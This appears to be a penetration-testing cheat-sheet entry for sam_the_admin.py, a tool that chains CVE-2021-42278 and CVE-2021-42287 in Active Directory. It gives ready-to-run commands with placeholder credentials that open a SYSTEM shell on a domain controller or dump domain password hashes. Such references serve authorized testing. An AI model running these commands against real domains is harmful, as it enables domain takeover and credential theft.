sam

WazeHell's sam_the_admin.py is a self-contained implementation of the CVE-2021-42278 + CVE-2021-42287 chain. It creates a computer account, spoofs its sAMAccountName to impersonate the DC machine account, and automatically impersonates the Administrator to obtain a privileged ticket. Requires MachineAccountQuota > 0 and an unpatched DC. Pass -shell for a semi-interactive SYSTEM shell on the DC or -dump to run secretsdump; the account only needs valid domain credentials (no special privileges). Command Reference: Domain: test.local Username: john Password: password123 DC IP: 10.10.10.1

# SYSTEM shell on the DC
python3 sam_the_admin.py "test.local/john:password123" -dc-ip 10.10.10.1 -shell

# Dump domain hashes
python3 sam_the_admin.py "test.local/john:password123" -dc-ip 10.10.10.1 -dump

Native

PrivEsc, Exploitation, Credential Access

Requires

Username, Password

Services

Kerberos, SMB, LDAP

Refs

github.com/WazeHell/sam-the-admin

www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing